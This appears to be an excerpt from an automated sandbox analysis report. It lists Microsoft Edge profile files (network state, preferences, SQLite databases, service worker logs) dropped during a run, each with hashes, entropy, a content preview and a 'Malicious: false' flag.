Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF387a0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2789903747479625
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSlA0:JkIEumQv8m1ccnvSZtyDJiiVM1a
MD5:	E21531705D5E051A091263576BA4A033
SHA1:	D4BD3885820FC452036EC54EF6380D2A5FAD7913
SHA-256:	DB58964DB731F49D391383F0479328D38B86A45E08F76256F472F7C32B208B5F
SHA-512:	5259581D9EBD683DA4DF7F7D38070B5E7E8A5CD840EBE810B30D4876C0EB6E4D15AD657F956E356D324FC0E9234C15BF431FB623B79F83FB45DF103444C5F5E6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF26b52.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF27d83.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\deced33b-89a5-480e-a1ec-893710fda5f9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1650
Entropy (8bit):	5.308368878271108
Encrypted:	false
SSDEEP:	48:YcCpfgCzsxts9fc7aleeBkEsFtCgHOYhbyD0:F2fia2akeBkxtTjhn
MD5:	C436FF30D71FFFFF677D01B1C965D520
SHA1:	8F982B01BDBFFE15A024CF00D48C9849B6E0EF12
SHA-256:	E5797AF297E11D0B5273F9DC5A69B58D2B36B23DB759405F763742CF979819C7
SHA-512:	FCBA24332097B0EDBB59E93E25A2B0244B8A3AD8E7657552D9F2ED97BC1CC32D140B8886A7A7526CFBED5FBA9EB235FFD4E14C9DD7AEB80A7BBAAD246DD0931D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379798948149913","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379798951516854","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\eba357f6-59f3-443f-90fa-a3447e9c8895.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f14ba8d4-a485-4c94-bb5a-acb897fbc21b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fa9a99b1-87b2-48a2-8b45-f970214f9e3a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fc0e1c52-75a6-4284-9222-25eadbac3978.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111145226574878
Encrypted:	false
SSDEEP:	192:st1kdpZsPJCNyaNP9kkdF8wbV+F37QAUwPjYJ:st1QZsgNtJ7bGLQ7
MD5:	E2D2C3BF998871B1D496FCDD638B6179
SHA1:	9589B1F8721053D250714DECD05D9B2555A5E237
SHA-256:	15D476D1312330F9B32239FD5937B724E7FA64ACB1C1389A002E0AB9E2325DBC
SHA-512:	3AFBE672C4D1CBFE5E15145A6870FE2716F43AFD5C13BD7CF98AB876C0CBC3041676D48D77F90F416FFDA86DFDA4F12D92285A04277C2DE0F7E838D1C5A6D365
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377206943247809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2b7cd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111145226574878
Encrypted:	false
SSDEEP:	192:st1kdpZsPJCNyaNP9kkdF8wbV+F37QAUwPjYJ:st1QZsgNtJ7bGLQ7
MD5:	E2D2C3BF998871B1D496FCDD638B6179
SHA1:	9589B1F8721053D250714DECD05D9B2555A5E237
SHA-256:	15D476D1312330F9B32239FD5937B724E7FA64ACB1C1389A002E0AB9E2325DBC
SHA-512:	3AFBE672C4D1CBFE5E15145A6870FE2716F43AFD5C13BD7CF98AB876C0CBC3041676D48D77F90F416FFDA86DFDA4F12D92285A04277C2DE0F7E838D1C5A6D365
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377206943247809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2ee5d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111145226574878
Encrypted:	false
SSDEEP:	192:st1kdpZsPJCNyaNP9kkdF8wbV+F37QAUwPjYJ:st1QZsgNtJ7bGLQ7
MD5:	E2D2C3BF998871B1D496FCDD638B6179
SHA1:	9589B1F8721053D250714DECD05D9B2555A5E237
SHA-256:	15D476D1312330F9B32239FD5937B724E7FA64ACB1C1389A002E0AB9E2325DBC
SHA-512:	3AFBE672C4D1CBFE5E15145A6870FE2716F43AFD5C13BD7CF98AB876C0CBC3041676D48D77F90F416FFDA86DFDA4F12D92285A04277C2DE0F7E838D1C5A6D365
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377206943247809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3638d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111145226574878
Encrypted:	false
SSDEEP:	192:st1kdpZsPJCNyaNP9kkdF8wbV+F37QAUwPjYJ:st1QZsgNtJ7bGLQ7
MD5:	E2D2C3BF998871B1D496FCDD638B6179
SHA1:	9589B1F8721053D250714DECD05D9B2555A5E237
SHA-256:	15D476D1312330F9B32239FD5937B724E7FA64ACB1C1389A002E0AB9E2325DBC
SHA-512:	3AFBE672C4D1CBFE5E15145A6870FE2716F43AFD5C13BD7CF98AB876C0CBC3041676D48D77F90F416FFDA86DFDA4F12D92285A04277C2DE0F7E838D1C5A6D365
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377206943247809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567887645223885
Encrypted:	false
SSDEEP:	768:am4JuAWPp9fD68F1+UoAYDCx9Tuqh0VfUC9xbog/OV09wA5rw3F2pRtuY:am4JuAWPp9fD6u1ja9uAKV0tL
MD5:	689F5F10C4597642336B7DB8929BAB27
SHA1:	2103B9DCA7A72BF94CA82E55552D077DB2FCAE7E
SHA-256:	79D4048CFCBC40034574C92271CF31CDF850E9A4D0478115AC092BC14483A705
SHA-512:	E8A7740903740B80A7B4A72D3319CB5EABB45446587A41E34EA60BCBF10852600048493702663687CD2CA8C19254402A4000613AA8637277B78D93669C5AD75D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377206942665637","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377206942665637","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2a500.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567887645223885
Encrypted:	false
SSDEEP:	768:am4JuAWPp9fD68F1+UoAYDCx9Tuqh0VfUC9xbog/OV09wA5rw3F2pRtuY:am4JuAWPp9fD6u1ja9uAKV0tL
MD5:	689F5F10C4597642336B7DB8929BAB27
SHA1:	2103B9DCA7A72BF94CA82E55552D077DB2FCAE7E
SHA-256:	79D4048CFCBC40034574C92271CF31CDF850E9A4D0478115AC092BC14483A705
SHA-512:	E8A7740903740B80A7B4A72D3319CB5EABB45446587A41E34EA60BCBF10852600048493702663687CD2CA8C19254402A4000613AA8637277B78D93669C5AD75D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377206942665637","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377206942665637","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2eca8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567887645223885
Encrypted:	false
SSDEEP:	768:am4JuAWPp9fD68F1+UoAYDCx9Tuqh0VfUC9xbog/OV09wA5rw3F2pRtuY:am4JuAWPp9fD6u1ja9uAKV0tL
MD5:	689F5F10C4597642336B7DB8929BAB27
SHA1:	2103B9DCA7A72BF94CA82E55552D077DB2FCAE7E
SHA-256:	79D4048CFCBC40034574C92271CF31CDF850E9A4D0478115AC092BC14483A705
SHA-512:	E8A7740903740B80A7B4A72D3319CB5EABB45446587A41E34EA60BCBF10852600048493702663687CD2CA8C19254402A4000613AA8637277B78D93669C5AD75D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377206942665637","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377206942665637","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	4.7400908617769035
Encrypted:	false
SSDEEP:	3:chltUQ2Hm4kxH4xRNwBgzNnNurkX/8Ct//lFl46JKcZt/FlSFdVVl03nUBcisdty:chXUQI2xH8BzNme/8HILSFd4ddAa1M/
MD5:	0232AE7084C463F1F077141AE2F8E4EA
SHA1:	4B45C6DE4CE2895BD60C2EFB636D95EA6C9EF7F5
SHA-256:	684BB89AC899552393B84CA6F1831E6B2939189427D6585B24BA195F9C89E386
SHA-512:	B2DFA94D7B0EB98F28E8DCC4909CCD4E87424470941DB136E3E36A975AAECCFD92AB8F9109544065FBE66DF8AEC0BC24554A0BA39BBEA9D20A17D95242FDE478
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..?..................URES:0..PRES:0.t.g.;................REG:https://ntp.msn.com/.0..REGID_TO_ORIGIN:0..b8...............J4...................PRES:0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.165425747842678
Encrypted:	false
SSDEEP:	6:HC/fBVb1cNwi23oH+TcwtE/a252KLlVC/fFuHaVq2PcNwi23oH+TcwtE/a2ZIFUv:AXZYeb8xL2VvLZYeb8J2FUv
